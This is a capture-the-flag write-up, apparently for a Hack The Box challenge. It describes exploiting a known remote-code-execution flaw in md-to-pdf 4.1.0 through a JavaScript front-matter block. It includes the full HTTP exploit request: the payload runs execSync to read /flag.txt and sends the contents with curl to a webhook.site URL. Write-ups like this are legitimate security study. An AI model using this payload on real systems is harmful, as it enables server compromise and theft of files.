Tags: rce md5-to-pdf dependency 

Rating:

I didn't find any injectable place, so I tried to look for md-to-pdf (because of `${}` insertion of the input) library and on npmjs it is described as
"A simple and hackable CLI tool for converting markdown to pdf.".
That was obviously the vector attack for us. Also there was no flag included in the files besides in the **Dockerfile** and copied to the docker server instance. So we know we are dealing with a **RCE**.

In the `package.json` we can see that the `md-to-pdf` version is `4.1.0` and in their github page we can see comparison between the `5.0.0` version and this one:
https://github.com/simonhaenisch/md-to-pdf/commit/a716259c548c82fa1d3b14a3422e9100619d2d8a
Then I looked up for known RCEs for that version and found this issue:
https://github.com/simonhaenisch/md-to-pdf/issues/99
and just copied it with flag passing from `/flag.txt`

Exploit request:
```
POST /api/invoice/add HTTP/1.1
Host: 139.59.163.221:31957
Content-Length: 171
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://139.59.163.221:31957
Referer: http://139.59.163.221:31957/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"markdown_content":"---js\n((require('child_process')).execSync('xd=$(cat /flag.txt) && curl https://webhook.site/d921781a-bb60-43cc-8ddf-3665b0ec6299/?a=$xd'))\n---RCE"}
```

webhook response:
`HTBbl1nk3r_flu1d_f0r_int3rG4l4c7iC_tr4v3ls`